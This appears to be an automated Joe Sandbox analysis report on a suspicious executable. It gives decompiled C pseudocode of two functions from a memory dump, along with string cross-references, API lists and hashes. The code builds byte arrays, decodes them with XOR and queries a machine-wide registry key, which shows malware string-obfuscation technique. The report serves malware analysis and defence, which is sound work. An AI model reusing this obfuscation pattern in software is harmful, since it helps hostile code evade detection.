0x0042103b
0x0042103b
0x00421041
0x00421055
0x0042105b
0x0042105b
0x00421066
0x00421070
0x00421086
0x00421095
0x004210a2
0x004210ad
0x004210ca
0x004210ca

Strings

, xrefs: 0042067E
#, xrefs: 004206A3
M, xrefs: 00420A88
{, xrefs: 004209B4
#, xrefs: 00420A8D
r, xrefs: 00420A13
P, xrefs: 0042071A
z, xrefs: 004208A4
N, xrefs: 00420B1B
T, xrefs: 00420CAD
r, xrefs: 00420B48
o, xrefs: 00420B4D
M, xrefs: 004207C8
m, xrefs: 004208B4
5, xrefs: 00420C65
(, xrefs: 00420D9C
z, xrefs: 00420A92
k, xrefs: 004207B4
', xrefs: 00420DBB
;, xrefs: 004209CD
P, xrefs: 0042064E
t, xrefs: 004209F0
$, xrefs: 00420D8C
P, xrefs: 00420D4C
b, xrefs: 00420D05
}, xrefs: 00420C36
v, xrefs: 00420676
`, xrefs: 00420CC5
`, xrefs: 004207CD
r, xrefs: 004209D2
%, xrefs: 00420BE6
$, xrefs: 004206F7
^, xrefs: 00420B5C
s, xrefs: 00420B2F
, xrefs: 004209FA
j, xrefs: 00420903
*, xrefs: 00420656
=, xrefs: 00420B3E
S, xrefs: 00420E9E
P, xrefs: 004205F6
N, xrefs: 00420E94
G@,, xrefs: 00420576
r, xrefs: 00420CE5
R, xrefs: 00420BF6
u, xrefs: 00420C1E
s|pd, xrefs: 0042094C
&, xrefs: 00420BB7
N, xrefs: 00420626
i, xrefs: 00420B34
P, xrefs: 00420C9D
Q, xrefs: 00420B57
g, xrefs: 004209C8
c, xrefs: 00420A7E
p, xrefs: 00420B25
S, xrefs: 00420DB3
e, xrefs: 00420E8F
0, xrefs: 00420686
{, xrefs: 00420C4D
s, xrefs: 004209FF
h, xrefs: 00420DC3
a, xrefs: 004209BE
), xrefs: 0042060E
T, xrefs: 004205C6
^, xrefs: 004206B7
|, xrefs: 00420B2A
\, xrefs: 004208AC
I, xrefs: 00420E99
f, xrefs: 00420864
8, xrefs: 00420874
h, xrefs: 004209DC
|, xrefs: 004205CE
1, xrefs: 0042091A
~, xrefs: 004208E3
7, xrefs: 004206FC
W, xrefs: 00420A49
>, xrefs: 00420D6C
c, xrefs: 00420E7B
, xrefs: 004206DF
d, xrefs: 00420B20
=, xrefs: 00420B52
?, xrefs: 00420CFD
o, xrefs: 00420A1D
v, xrefs: 00420E8A
d, xrefs: 0042096D
8, xrefs: 00420A3F
^c, xrefs: 00420751
b, xrefs: 00420724
D, xrefs: 004206CB
i, xrefs: 00420E85
i, xrefs: 0042066E
~, xrefs: 00420B39
?, xrefs: 004207EB
q, xrefs: 0042089C
g, xrefs: 00420C8D
H, xrefs: 004206AD
^, xrefs: 00420B43
u, xrefs: 00420A09
t, xrefs: 00420E80
~, xrefs: 0042087C
&, xrefs: 004206C6
S, xrefs: 00420606
2, xrefs: 00420D7C
p, xrefs: 0042068E
N, xrefs: 004207E1
], xrefs: 00420CED
&, xrefs: 004206DA
/, xrefs: 00420C7D
|, xrefs: 004205E6

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: $ $ $#$#$$$$$%$&$&$&$'$($)$*$/$0$1$2$5$7$8$8$;$=$=$>$?$?$D$G@,$H$I$M$M$N$N$N$N$P$P$P$P$P$Q$R$S$S$S$T$T$W$\$]$^$^$^$^c$`$`$a$b$b$c$c$d$d$e$f$g$g$h$h$i$i$i$j$k$m$o$o$p$p$q$r$r$r$r$s$s$s|pd$t$t$u$u$v$v$z$z${${$|$|$|$}$~$~$~
API String ID: 0-1388410999
Opcode ID: e2622106f891706df351979d41e9d59cfc6c36af9e9f3dcf4f33d23ff2114f6b
Instruction ID: 40aa9fcbbacb4e662069c3f6a830727ea6aa88fb999cbe6da6f2476ebe5119cf
Opcode Fuzzy Hash: e2622106f891706df351979d41e9d59cfc6c36af9e9f3dcf4f33d23ff2114f6b
Instruction Fuzzy Hash: D962C32010D7C189D332C77C984879FBFD15BA7228F584A9DE1E85B2E3D2AA8149C767

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD50, Relevance: 107.1, APIs: 9, Strings: 52, Instructions: 368
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E0041FD50(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t233;
				void* _t237;
				signed short _t245;
				long _t258;
				signed int _t262;
				void* _t265;
				void* _t266;
				signed int _t267;
				void* _t269;
				intOrPtr _t280;
				intOrPtr _t281;
				intOrPtr _t282;
				void* _t287;
				signed int _t294;
				signed int _t297;
				signed char _t298;
				signed char _t300;
				signed char _t323;
				signed int _t326;
				void* _t330;
				signed int _t333;
				signed int _t334;
				signed int _t335;
				signed short _t336;
				signed int _t339;
				char* _t341;
				void* _t343;
				void* _t344;
				void* _t345;

				_t233 =  *0x4310d8; // 0x2c0d4047
				 *((intOrPtr*)(_t343 + 0xb4)) = _t233;
				_push(__esi);
				_push(__edi);
				_t330 = __ecx;
				 *((char*)(_t343 + 0x44)) = 0x92;
				 *((char*)(_t343 + 0x4a)) = 0x92;
				 *((char*)(_t343 + 0x53)) = 0x92;
				 *((char*)(_t343 + 0x34)) = 0x78;
				 *((char*)(_t343 + 0x43)) = 0x78;
				 *((char*)(_t343 + 0x4e)) = 0xd2;
				 *((char*)(_t343 + 0x55)) = 0x85;
				 *((char*)(_t343 + 0x59)) = 0x85;
				 *((char*)(_t343 + 0x5e)) = 0xd2;
				 *((char*)(_t343 + 0x69)) = 0x78;
				 *((char*)(_t343 + 0x30)) = 0x7b;
				 *((char*)(_t343 + 0x31)) = 0x3a;
				 *((char*)(_t343 + 0x32)) = 0x59;
				 *((char*)(_t343 + 0x33)) = 0xfe;
				 *((char*)(_t343 + 0x35)) = 0xb0;
				 *((char*)(_t343 + 0x36)) = 0xb1;
				 *((char*)(_t343 + 0x37)) = 0x27;
				 *((char*)(_t343 + 0x38)) = 0x34;
				 *((char*)(_t343 + 0x39)) = 0xf8;
				 *((char*)(_t343 + 0x3a)) = 0x7f;
				 *((char*)(_t343 + 0x3b)) = 0x7a;
				 *(_t343 + 0x3c) = 6;
				 *((char*)(_t343 + 0x3d)) = 0x30;
				 *((char*)(_t343 + 0x3e)) = 0xcb;
				 *((char*)(_t343 + 0x3f)) = 0xef;
				 *((char*)(_t343 + 0x40)) = 0x87;
				 *((char*)(_t343 + 0x41)) = 0xae;
				 *((char*)(_t343 + 0x42)) = 0xc9;
				 *((char*)(_t343 + 0x45)) = 0x32;
				 *((char*)(_t343 + 0x46)) = 0xab;
				 *((char*)(_t343 + 0x47)) = 0x86;
				 *((char*)(_t343 + 0x48)) = 0x63;
				 *((char*)(_t343 + 0x49)) = 0x79;
				 *((char*)(_t343 + 0x4b)) = 0x5c;
				 *((char*)(_t343 + 0x4c)) = 0x91;
				 *((char*)(_t343 + 0x4d)) = 0xf3;
				 *((char*)(_t343 + 0x4f)) = 0xbf;
				 *((char*)(_t343 + 0x50)) = 0xb5;
				 *((char*)(_t343 + 0x51)) = 0x53;
				 *((char*)(_t343 + 0x52)) = 0xa2;
				 *((char*)(_t343 + 0x54)) = 0x76;
				 *((char*)(_t343 + 0x56)) = 0xd9;
				 *((char*)(_t343 + 0x57)) = 4;
				 *((char*)(_t343 + 0x58)) = 0x41;
				 *((char*)(_t343 + 0x5a)) = 0x70;
				 *((char*)(_t343 + 0x5b)) = 0x49;
				 *((char*)(_t343 + 0x5c)) = 0xf6;
				 *((char*)(_t343 + 0x5d)) = 0x7d;
				 *((char*)(_t343 + 0x5f)) = 0x94;
				 *((char*)(_t343 + 0x60)) = 0x4c;
				 *((char*)(_t343 + 0x61)) = 0x9d;
				 *((char*)(_t343 + 0x62)) = 0x33;
				 *((char*)(_t343 + 0x63)) = 0xc1;
				 *((char*)(_t343 + 0x64)) = 0xa1;
				 *((char*)(_t343 + 0x65)) = 0x3a;
				 *((char*)(_t343 + 0x66)) = 8;
				 *((char*)(_t343 + 0x67)) = 0x63;
				 *((char*)(_t343 + 0x68)) = 0x1d;
				 *((char*)(_t343 + 0x6a)) = 0xc1;
				 *((char*)(_t343 + 0x6b)) = 0x2f;
				 *((char*)(_t343 + 0x74)) = 0x28;
				 *((char*)(_t343 + 0x75)) = 0x75;
				 *((char*)(_t343 + 0x76)) = 0x1f;
				 *((char*)(_t343 + 0x77)) = 0xaa;
				 *((char*)(_t343 + 0x78)) = 0x2f;
				 *((char*)(_t343 + 0x79)) = 0xf1;
				 *((char*)(_t343 + 0x86)) = 0xaa;
				 *((char*)(_t343 + 0x87)) = 0x10;
				 *((char*)(_t343 + 0x8d)) = 0x10;
				 *((char*)(_t343 + 0x97)) = 0xc1;
				 *((char*)(_t343 + 0x8f)) = 0x2f;
				 *((char*)(_t343 + 0xaf)) = 0x2f;
				 *((char*)(_t343 + 0x7a)) = 0xe3;
				 *((char*)(_t343 + 0x7b)) = 0x62;
				 *((char*)(_t343 + 0x7c)) = 0x68;
				 *((char*)(_t343 + 0x7d)) = 0xab;
				 *((char*)(_t343 + 0x7e)) = 6;
				 *((char*)(_t343 + 0x7f)) = 0x1d;
				 *((char*)(_t343 + 0x80)) = 0x67;
				 *((char*)(_t343 + 0x81)) = 0x44;
				 *((char*)(_t343 + 0x82)) = 0xae;
				 *((char*)(_t343 + 0x83)) = 0xcf;
				 *((char*)(_t343 + 0x84)) = 0xd3;
				 *((char*)(_t343 + 0x85)) = 0xcb;
				 *((char*)(_t343 + 0x88)) = 0xfc;
				 *((char*)(_t343 + 0x89)) = 0x5d;
				 *((char*)(_t343 + 0x8a)) = 0xc7;
				 *((char*)(_t343 + 0x8b)) = 0xe9;
				 *((char*)(_t343 + 0x8c)) = 4;
				 *((char*)(_t343 + 0x8e)) = 0xf7;
				 *((char*)(_t343 + 0x90)) = 0xbd;
				 *((char*)(_t343 + 0x91)) = 0xd3;
				 *((char*)(_t343 + 0x92)) = 0x9b;
				 *((char*)(_t343 + 0x93)) = 0xd1;
				 *((char*)(_t343 + 0x94)) = 0xd6;
				 *((char*)(_t343 + 0x95)) = 0x7d;
				 *((char*)(_t343 + 0x96)) = 0xfe;
				 *((char*)(_t343 + 0x98)) = 0xf;
				 *((char*)(_t343 + 0x99)) = 0xe2;
				 *((char*)(_t343 + 0x9a)) = 0xb8;
				 *((char*)(_t343 + 0x9b)) = 0x70;
				 *((char*)(_t343 + 0x9c)) = 0x24;
				 *((char*)(_t343 + 0x9d)) = 0xa5;
				 *((char*)(_t343 + 0x9e)) = 0x20;
				 *((char*)(_t343 + 0x9f)) = 0x2c;
				 *((char*)(_t343 + 0xa0)) = 0x84;
				 *((char*)(_t343 + 0xa1)) = 0xe;
				 *((char*)(_t343 + 0xa2)) = 0xbd;
				 *((char*)(_t343 + 0xa3)) = 0xfa;
				 *((char*)(_t343 + 0xa4)) = 0x2d;
				 *((char*)(_t343 + 0xa5)) = 0xf1;
				 *((char*)(_t343 + 0xa6)) = 0x13;
				 *((char*)(_t343 + 0xa7)) = 0x87;
				 *((char*)(_t343 + 0xa8)) = 0xc8;
				 *((char*)(_t343 + 0xa9)) = 0x48;
				 *((char*)(_t343 + 0xaa)) = 0x6d;
				 *((char*)(_t343 + 0xab)) = 0x14;
				 *((char*)(_t343 + 0xac)) = 0x7c;
				 *((char*)(_t343 + 0xad)) = 0x14;
				 *((char*)(_t343 + 0xae)) = 0xad;
				_t237 = 0;
				do {
					 *(_t343 + _t237 + 0x30) =  *(_t343 + _t237 + 0x30) ^  *(_t343 + _t237 + 0x74);
					 *(_t343 + _t237 + 0x31) =  *(_t343 + _t237 + 0x31) ^  *(_t343 + _t237 + 0x75);
					 *(_t343 + _t237 + 0x32) =  *(_t343 + _t237 + 0x32) ^  *(_t343 + _t237 + 0x76);
					 *(_t343 + _t237 + 0x33) =  *(_t343 + _t237 + 0x33) ^  *(_t343 + _t237 + 0x77);
					 *(_t343 + _t237 + 0x34) =  *(_t343 + _t237 + 0x34) ^  *(_t343 + _t237 + 0x78);
					 *(_t343 + _t237 + 0x35) =  *(_t343 + _t237 + 0x35) ^  *(_t343 + _t237 + 0x79);
					_t237 = _t237 + 6;
				} while (_t237 < 0x3c);
				_t339 =  *0x431f34; // 0x32
				 *((char*)(_t343 + 0x73)) = 0xc4;
				 *((char*)(_t343 + 0x28)) = 0xc4;
				 *((char*)(_t343 + 0x2e)) = 0x14;
				_push(_t343 + 0x6c);
				 *0x431f34 = _t339 + 0x32;
				 *((char*)(_t343 + 0x70)) = 0x21;
				 *((char*)(_t343 + 0x71)) = 0x71;
				 *((char*)(_t343 + 0x72)) = 0xf5;
				 *((char*)(_t343 + 0x73)) = 0x65;
				 *((char*)(_t343 + 0x74)) = 0xc0;
				 *((char*)(_t343 + 0x75)) = 0x88;
				 *((char*)(_t343 + 0x76)) = 0xf4;
				 *((char*)(_t343 + 0x2d)) = 0x9a;
				 *((char*)(_t343 + 0x2e)) = 0xe7;
				 *((char*)(_t343 + 0x2f)) = 0xa9;
				 *((char*)(_t343 + 0x30)) = 0x16;
				 *((char*)(_t343 + 0x31)) = 0x87;
				 *((char*)(_t343 + 0x33)) = 0x77;
				_t341 = E0041E2E0(_t343 + 0x2c, 8);
				 *(_t343 + 0x1c) = 0x5f;
				 *((char*)(_t343 + 0x26)) = 0x5f;
				 *((char*)(_t343 + 0xb4)) = 0xe;
				 *((char*)(_t343 + 0xb5)) = 0xe7;
				 *((char*)(_t343 + 0xb6)) = 0x7b;
				 *((char*)(_t343 + 0xb7)) = 0x7f;
				 *((char*)(_t343 + 0xb8)) = 0x8c;
				 *((char*)(_t343 + 0xb9)) = 0x43;
				 *((char*)(_t343 + 0xba)) = 0x5b;
				 *((char*)(_t343 + 0xbb)) = 0xb2;
				 *((char*)(_t343 + 0xbc)) = 0x81;
				 *((char*)(_t343 + 0xbd)) = 0xb0;
				 *((char*)(_t343 + 0xbe)) = 0xce;
				 *((char*)(_t343 + 0x21)) = 0xc;
				 *((char*)(_t343 + 0x22)) = 0x61;
				 *((char*)(_t343 + 0x23)) = 2;
				 *((char*)(_t343 + 0x24)) = 0x51;
				 *((char*)(_t343 + 0x25)) = 0x34;
				 *((char*)(_t343 + 0x26)) = 0x46;
				 *((char*)(_t343 + 0x27)) = 0x30;
				 *((char*)(_t343 + 0x28)) = 0x59;
				 *((char*)(_t343 + 0x29)) = 0x3a;
				 *((intOrPtr*)(_t343 + 0x28)) = E0041E250(0xb, _t343 + 0x20, _t343 + 0xb0);
				_t245 =  *0x431f38; // 0x2d2c
				 *((char*)(_t343 + 0x24)) = 0x41;
				 *((char*)(_t343 + 0x25)) = 0x63;
				 *((char*)(_t343 + 0x26)) = 0x74;
				 *((char*)(_t343 + 0x27)) = 0x69;
				 *((char*)(_t343 + 0x28)) = 0x76;
				 *((char*)(_t343 + 0x29)) = 0x65;
				 *((char*)(_t343 + 0x2a)) = 0x53;
				 *((char*)(_t343 + 0x2b)) = 0x47;
				 *((char*)(_t343 + 0x2c)) = 0;
				 *0x431f38 = _t245 + 0x3d5;
				 *(_t343 + 0x20) = 0xff;
				 *(_t343 + 0x1c) = 0;
				_t287 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t333 = 0x3b26c; // executed
				_t258 = RegOpenKeyExA(0x80000002, _t343 + 0x3c, 0, 1, _t343 + 0x10); // executed
				if(_t258 != 0) {
					 *((intOrPtr*)(_t330 + 0x34)) = GetLastError();
					_t333 = 0x3004;
				}
				_t294 =  *0x431f34; // 0x32
				_t323 =  *0x431f2c; // 0x0
				_t334 = _t333 ^ _t294 * 0x000007f3;
				 *0x431f30 = _t323 & 0x00000002;
				if(RegQueryValueExA( *(_t343 + 0x20), _t341, 0, _t343 + 0x1c, _t287, _t343 + 0x18) == 0) {
					_t326 =  *0x431f38 & 0x0000ffff;
					_t297 =  *0x431f2c; // 0x0
					_t262 = _t326 *  *0x431f34;
					_t298 = _t297 & _t262 - 0x00000043;
					 *0x431f2c = _t298;
					_t335 = _t334 ^ _t262 * 0x00000025;
					 *0x431f30 = _t298 & 0x00000002;
					 *0x431f34 = _t326 * 4;
					_t265 = E00425A4D(_t287, _t330, _t335, _t287, 0x42e310);
					_t344 = _t343 + 8;
					if(_t265 != 0) {
						_t282 = E004259C0(_t265);
						_t344 = _t344 + 4;
						 *((intOrPtr*)(_t330 + 0x24)) = _t282;
					}
					_t300 =  *0x431f2c; // 0x0
					_t336 = _t335 * 0x2ed1;
					 *0x431f38 =  *0x431f38 | _t336;
					 *0x431f2c = _t300 - _t336;
					_t266 = E00425A4D(_t287, _t330, _t336, 0, 0x42e310);
					_t345 = _t344 + 8;
					if(_t266 != 0) {
						_t281 = E004259C0(_t266);
						_t345 = _t345 + 4;
						 *((intOrPtr*)(_t330 + 0x28)) = _t281;
					}
					_t267 =  *0x431f34; // 0x32
					 *0x431f34 = _t267 ^ ( *0x431f38 & 0x0000ffff) *  *0x431f30 * 0x00000025;
					_t269 = E00425A4D(_t287, _t330, _t336, 0, 0x42e310);
					_t343 = _t345 + 8;
					if(_t269 != 0) {
						_t280 = E004259C0(_t269);
						_t343 = _t343 + 4;
						 *((intOrPtr*)(_t330 + 0x2c)) = _t280;
					}
					 *0x431f2c = ( *0x431f38 & 0x0000ffff) + 0x50;
					 *((intOrPtr*)(_t330 + 0x30)) = 0x15;
					 *(_t330 + 0x38) = 1;
				} else {
					 *((intOrPtr*)(_t330 + 0x34)) = GetLastError();
				}
				_t227 = _t330 + 0x34; // 0x431ccc
				 *0x431f34 = ( *0x431f38 & 0x0000ffff) << 2;
				 *0x431f30 = 0x3d;
				 *((intOrPtr*)(_t330 + 0x3c)) = E0041F020( *((intOrPtr*)(_t343 + 0x28)), _t227);
				 *((intOrPtr*)(_t330 + 0x40)) = E0041F100(_t330, _t343 + 0x20, _t227);
				HeapFree(GetProcessHeap(), 0, _t287);
				RegCloseKey( *(_t343 + 0x10));
				return E00424873(0,  *((intOrPtr*)(_t343 + 0xbc)));
			}

0x0041fd56
0x0041fd5d
0x0041fd66
0x0041fd69
0x0041fd6a
0x0041fd6c
0x0041fd70
0x0041fd76
0x0041fd7c
0x0041fd80
0x0041fd86
0x0041fd8a
0x0041fd8e
0x0041fd92
0x0041fd98
0x0041fda0
0x0041fda5
0x0041fdaa
0x0041fdaf
0x0041fdb4
0x0041fdb9
0x0041fdbe
0x0041fdc3
0x0041fdc8
0x0041fdcd
0x0041fdd2
0x0041fdd7
0x0041fddc
0x0041fde1
0x0041fde6
0x0041fdeb
0x0041fdf0
0x0041fdf5
0x0041fdfa
0x0041fdff
0x0041fe04
0x0041fe09
0x0041fe0d
0x0041fe12
0x0041fe17
0x0041fe1c
0x0041fe21
0x0041fe26
0x0041fe2b
0x0041fe30
0x0041fe35
0x0041fe3a
0x0041fe3f
0x0041fe44
0x0041fe49
0x0041fe4e
0x0041fe53
0x0041fe58
0x0041fe5d
0x0041fe62
0x0041fe67
0x0041fe6c
0x0041fe71
0x0041fe75
0x0041fe7a
0x0041fe7f
0x0041fe84
0x0041fe88
0x0041fe8d
0x0041fe91
0x0041fe95
0x0041fe9a
0x0041fe9f
0x0041fea4
0x0041fea8
0x0041feac
0x0041feb1
0x0041feba
0x0041fec1
0x0041feca
0x0041fed3
0x0041feda
0x0041fee1
0x0041fee6
0x0041feeb
0x0041fef0
0x0041fef5
0x0041fefa
0x0041feff
0x0041ff07
0x0041ff0f
0x0041ff17
0x0041ff1f
0x0041ff27
0x0041ff2f
0x0041ff37
0x0041ff3f
0x0041ff47
0x0041ff4f
0x0041ff57
0x0041ff5f
0x0041ff66
0x0041ff6e
0x0041ff76
0x0041ff7e
0x0041ff86
0x0041ff8e
0x0041ff96
0x0041ff9e
0x0041ffa6
0x0041ffae
0x0041ffb6
0x0041ffbe
0x0041ffc6
0x0041ffce
0x0041ffd6
0x0041ffde
0x0041ffe6
0x0041ffed
0x0041fff5
0x0041fffd
0x00420005
0x0042000d
0x00420015
0x0042001d
0x00420025
0x0042002d
0x00420034
0x0042003c
0x00420043
0x0042004b
0x00420050
0x00420054
0x0042005c
0x00420064
0x0042006c
0x00420074
0x0042007c
0x00420080
0x00420083
0x00420088
0x00420090
0x00420094
0x0042009c
0x004200a0
0x004200ad
0x004200b3
0x004200b8
0x004200bd
0x004200c2
0x004200c7
0x004200cc
0x004200d1
0x004200d6
0x004200db
0x004200e0
0x004200e5
0x004200ea
0x004200ef
0x004200f9
0x00420104
0x00420108
0x00420116
0x0042011e
0x00420126
0x0042012e
0x00420136
0x0042013e
0x00420146
0x0042014e
0x00420156
0x0042015e
0x00420166
0x0042016e
0x00420173
0x00420178
0x0042017d
0x00420182
0x00420187
0x0042018c
0x00420191
0x00420196
0x004201a0
0x004201a4
0x004201d5
0x004201da
0x004201de
0x004201e3
0x004201e8
0x004201ed
0x004201f2
0x004201f7
0x004201fc
0x00420201
0x00420207
0x0042020f
0x0042022b
0x00420239
0x0042023e
0x00420246
0x0042024e
0x00420251
0x00420251
0x00420256
0x0042025c
0x0042026e
0x0042027a
0x0042028e
0x0042029e
0x004202a5
0x004202ad
0x004202ba
0x004202bc
0x004202c2
0x004202d4
0x004202da
0x004202df
0x004202e4
0x004202e9
0x004202ec
0x004202f1
0x004202f4
0x004202f4
0x004202f7
0x004202fd
0x00420303
0x00420313
0x00420319
0x0042031e
0x00420323
0x00420326
0x0042032b
0x0042032e
0x0042032e
0x0042033f
0x00420353
0x00420358
0x0042035d
0x00420362
0x00420365
0x0042036a
0x0042036d
0x0042036d
0x0042037a
0x0042037f
0x00420386
0x00420290
0x00420296
0x00420296
0x0042039b
0x0042039f
0x004203a8
0x004203b4
0x004203c7
0x004203d1
0x004203dc
0x004203fa

APIs

GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00420217
HeapAlloc.KERNEL32(00000000), ref: 0042021E
RegOpenKeyExA.ADVAPI32(80000002,00000006,00000000,00000001,00000000), ref: 0042023E
GetLastError.KERNEL32 ref: 00420248
RegQueryValueExA.ADVAPI32(000000FF,00000000,00000000,00000000,00000000,?), ref: 00420286
GetLastError.KERNEL32 ref: 00420290
GetProcessHeap.KERNEL32(00000000,00000000,?,00431CCC,?,00431CCC,?,?,?,?,?,00000001), ref: 004203CA
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 004203D1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000001), ref: 004203DC

Strings

4, xrefs: 00420182
h, xrefs: 0041FEEB
4, xrefs: 0041FDC3
p, xrefs: 0041FE49
C, xrefs: 0042013E
G, xrefs: 004201F7
:, xrefs: 0041FDA5
t, xrefs: 004201DE
{, xrefs: 0041FDA0
, xrefs: 0041FFC6
}, xrefs: 0041FE58
3, xrefs: 0041FE6C
,, xrefs: 0041FFCE
0, xrefs: 0041FDDC
!, xrefs: 004200B3
q, xrefs: 004200B8
u, xrefs: 0041FE9A
D, xrefs: 0041FF07
z, xrefs: 0041FDD2
H, xrefs: 0042001D
(, xrefs: 0041FE95
v, xrefs: 0041FE35
g, xrefs: 0041FEFF
v, xrefs: 004201E8
m, xrefs: 00420025
e, xrefs: 004200C2
{, xrefs: 00420126
w, xrefs: 004200EF
p, xrefs: 0041FFAE
a, xrefs: 00420173
A, xrefs: 004201D5
}, xrefs: 0041FF86
y, xrefs: 0041FE0D
', xrefs: 0041FDBE
G@,, xrefs: 0041FD56
\, xrefs: 0041FE12
2, xrefs: 0041FDFA
S, xrefs: 0041FE2B
:, xrefs: 0041FE7A
I, xrefs: 0041FE4E
L, xrefs: 0041FE62
|, xrefs: 00420034
A, xrefs: 0041FE44
e, xrefs: 004201ED
S, xrefs: 004201F2
[, xrefs: 00420146
], xrefs: 0041FF37
$, xrefs: 0041FFB6
Y, xrefs: 0041FDAA
i, xrefs: 004201E3
-, xrefs: 0041FFF5
b, xrefs: 0041FEE6

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Heap$ErrorLastProcess$AllocCloseFreeOpenQueryValue
String ID: $!$$$'$($,$-$0$2$3$4$4$:$:$A$A$C$D$G$G@,$H$I$L$S$S$Y$[$\$]$a$b$e$e$g$h$i$m$p$p$q$t$u$v$v$w$y$z${${$|$}$}
API String ID: 1434707997-3151121664
Opcode ID: 29d92220c5e11e6036931e209fc08ce3f9ddb880bb74b97bf96d4e468b4b4558
Instruction ID: 8a31240bc7adcf6ea3cc165c57d100c60a11fb3bc5011af5590440d63b5ba69d
Opcode Fuzzy Hash: 29d92220c5e11e6036931e209fc08ce3f9ddb880bb74b97bf96d4e468b4b4558
Instruction Fuzzy Hash: 6D12072110D7C1CDD332C779984879BBFD55BA7228F485A9DE1E84B2E3C3A98109C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00420AC8, Relevance: 105.3, APIs: 14, Strings: 46, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00420AC8(void* __eax, char __ebx, char __edx, char* __edi, void* _a4, void* _a16, void* _a20, int _a24, int _a28, intOrPtr _a32, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a51, char _a52, char _a64, char _a72, char _a73, char _a74, char _a75, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a88, char _a136, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a175, char _a176, char _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, char _a184, char _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, char _a192, char _a193, char _a194, char _a195, char _a196, char _a197, char _a198, char _a199, char _a200, char _a201, char _a202, char _a203, char _a204, char _a205, char _a206, char _a208, char _a209, char _a210, char _a211, char _a212, char _a213, char _a214, char _a215, char _a216, char _a217, char _a218, char _a219, char _a220, char _a221, char _a222, char _a223, char _a224, char _a225, char _a226, char _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a234, char _a235, char _a236, char _a237, char _a238, char _a239, char _a240, char _a241, char _a242, char _a243, char _a244, char _a245, char _a246, intOrPtr _a268) {
				void* _v0;
				void* __ebp;
				void* _t199;
				signed int _t200;
				intOrPtr* _t203;
				void* _t207;
				signed short _t208;
				long _t222;
				long _t227;
				long _t230;
				intOrPtr* _t231;
				signed short _t233;
				long _t246;
				signed int _t252;
				intOrPtr _t254;
				intOrPtr* _t268;
				char _t269;
				signed short _t272;
				intOrPtr* _t280;
				intOrPtr* _t289;
				signed int _t290;
				intOrPtr* _t296;
				char* _t297;
				intOrPtr* _t303;
				signed int _t304;
				char* _t308;
				signed int _t309;
				void* _t311;

				_t297 = __edi;
				_t199 = __eax;
				do {
					 *(_t311 + _t199 + 0x58) =  *(_t311 + _t199 + 0x58) ^  *(_t311 + _t199 + 0x48);
					 *(_t311 + _t199 + 0x59) =  *(_t311 + _t199 + 0x59) ^  *(_t311 + _t199 + 0x49);
					 *(_t311 + _t199 + 0x5a) =  *(_t311 + _t199 + 0x5a) ^  *(_t311 + _t199 + 0x4a);
					 *(_t311 + _t199 + 0x5b) =  *(_t311 + _t199 + 0x5b) ^  *(_t311 + _t199 + 0x4b);
					 *(_t311 + _t199 + 0x5c) =  *(_t311 + _t199 + 0x5c) ^  *(_t311 + _t199 + 0x4c);
					_t199 = _t199 + 5;
				} while (_t199 < 0xf);
				_t200 =  *0x431f34; // 0x32
				 *0x431f34 = _t200 + 0x32;
				_a42 = 0x78;
				_a48 = 0x78;
				_a36 = 0x4e;
				_a37 = 0x64;
				_a38 = 0x70;
				_a39 = 0x7c;
				_a40 = 0x73;
				_a41 = 0x69;
				_a43 = 0x7e;
				_a44 = 0x3d;
				_a45 = 0x5e;
				_a46 = 0x72;
				_a47 = 0x6f;
				_a49 = 0x3d;
				_a50 = 0x51;
				_a51 = 0x5e;
				_a52 = 0x1d;
				_t203 = 0;
				do {
					 *(_t311 + _t203 + 0x24) =  *(_t311 + _t203 + 0x24) ^ 0x0000001d;
					_t203 = _t203 + 1;
				} while (_t203 < 0x11);
				_a185 = 0xc3;
				_a189 = 0xc3;
				_a170 = 0xf1;
				_a196 = 0x94;
				_a208 = 0xf1;
				_a211 = 0x94;
				_a168 = 0x8a;
				_a169 = 0x26;
				_a171 = 0xa3;
				_a172 = 0xc8;
				_a173 = 0xed;
				_a174 = __ebx;
				_a175 = 0x1e;
				_a176 = 0x25;
				_a177 = 0x12;
				_a178 = 0x52;
				_a179 = 0x96;
				_a180 = 0xad;
				_a181 = 0x9e;
				_a182 = 0xbf;
				_a183 = 0x75;
				_a184 = 0xdd;
				_a186 = 0xce;
				_a187 = 0x7d;
				_a188 = 0xa8;
				_a190 = __edx;
				_a191 = 0x7b;
				_a192 = 0xa8;
				_a193 = 0;
				_a194 = 0x35;
				_a195 = 0x16;
				_a197 = 0x19;
